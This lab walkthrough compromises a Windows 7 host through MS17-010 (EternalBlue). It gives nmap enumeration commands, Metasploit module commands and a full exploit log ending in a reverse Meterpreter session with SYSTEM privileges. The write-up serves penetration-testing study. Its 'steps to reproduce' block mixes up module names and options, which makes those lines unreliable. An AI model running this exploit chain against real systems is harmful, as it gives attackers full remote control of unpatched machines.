EternalBlue MS17-010 SMB Exploitation Walkthrough
Windows target on the lab range with only SMB and RPC exposed. An nmap vuln scan flags MS17-010, and the Metasploit eternalblue module returns a SYSTEM shell.
Summary
This independent challenge targets a Windows host at 10.10.10.40 that exposes only SMB, NetBIOS and a block of high RPC ports. Nothing is shared anonymously over SMB, so the next step is nmap’s vulnerability scripts against ports 135, 139 and 445, and smb-vuln-ms17-010 comes back VULNERABLE. MS17-010 is the SMBv1 flaw behind EternalBlue, where malformed requests to the SMB server lead to remote code execution. The Metasploit module exploit/windows/smb/ms17_010_eternalblue is pointed at the host with a reverse TCP handler, and the run completes with a session. Because the SMB server runs in kernel context, that session lands with SYSTEM privileges, so exploitation and full compromise are the same step here.
Independent Challenge
Service Enumeration
Command: nmap -sC -sV -T4 10.10.10.40 -v
Port Scan Results
| IP Address | Ports Open |
|---|---|
| 10.10.10.40 | TCP: 135,139,445,49152,49153,49154,49155,49156,49157 |
SMB Enumeration
There’s nothing publicly available listed on the SMB service.
Behind Security performed a nmap scan, specifying the vulnerability detection scripts from NSE. The command used was: nmap -sV -T4 10.10.10.40 --script=vuln -p135,139,445 -v and the output is right below.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Host script results:
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_ https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_smb-vuln-ms10-054: false
The output gives Behind Security the information that the SMB server is vulnerable to ms17-010 Remote Code Execution (RCE).
Initial Access - Eternal Blue RCE (ms17-010)
Vulnerability Explanation: “Remote code execution vulnerabilities exist in the way that the Microsoft Server Message Block 1.0 (SMBv1) server handles certain requests. An attacker who successfully exploited the vulnerabilities could gain the ability to execute code on the target server.” (from Microsoft Security Bulletin)
Vulnerability Fix: Microsoft has released a patch to fix this known issue. You can see more information here.
Severity: Critical
Steps to reproduce the attack: There is a metasploit exploit publicly available that can be used in order for successful code execution to occur.
1
2
3
4
5
6
7
msf > use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_psexec) > show targets
...targets...
msf exploit(ms17_010_psexec) > set TARGET 10.10.10.40
msf exploit(ms17_010_psexec) > show options
...show and set options...
msf exploit(ms17_010_psexec) > exploit
Proof of Exploitation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
¨NBSP;
[*] Started reverse TCP handler on 10.10.14.15:4444
[*] 10.10.10.40:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.40:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.40:445 - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.10.40:445 - The target is vulnerable.
[*] 10.10.10.40:445 - Connecting to target for exploitation.
[+] 10.10.10.40:445 - Connection established for exploitation.
[+] 10.10.10.40:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.10.40:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.10.40:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.10.10.40:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.10.10.40:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.10.10.40:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.10.40:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.10.40:445 - Sending all but last fragment of exploit packet
[*] 10.10.10.40:445 - Starting non-paged pool grooming
[+] 10.10.10.40:445 - Sending SMBv2 buffers
[+] 10.10.10.40:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.10.40:445 - Sending final SMBv2 buffers.
[*] 10.10.10.40:445 - Sending last fragment of exploit packet!
[*] 10.10.10.40:445 - Receiving response from exploit packet
[+] 10.10.10.40:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.10.40:445 - Sending egg to corrupted connection.
[*] 10.10.10.40:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to 10.10.10.40
[*] Meterpreter session 1 opened (10.10.14.15:4444 -> 10.10.10.40:49158) at 2023-07-31 15:24:02 -0400
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter > ipconfig
Interface 1
============
Name : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
Interface 11
============
Name : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:50:56:b9:50:22
MTU : 1500
IPv4 Address : 10.10.10.40
IPv4 Netmask : 255.255.255.0
IPv6 Address : dead:beef::7d96:9791:9408:cba1
IPv6 Netmask : ffff:ffff:ffff:ffff::
IPv6 Address : dead:beef::9492:60cf:ee36:8089
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
IPv6 Address : fe80::7d96:9791:9408:cba1
IPv6 Netmask : ffff:ffff:ffff:ffff::
Interface 12
============
Name : Microsoft ISATAP Adapter
Hardware MAC : 00:00:00:00:00:00
MTU : 1280
IPv6 Address : fe80::5efe:a0a:a28
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
Interface 13
============
Name : Teredo Tunneling Pseudo-Interface
Hardware MAC : 00:00:00:00:00:00
MTU : 1280
IPv6 Address : fe80::100:7f:fffe
IPv6 Netmask : ffff:ffff:ffff:ffff::
Post-Exploitation
A successful exploitation (ms17-010) results in a remote attacker obtaining SYSTEM privileges on the vulnerable host (10.10.10.40).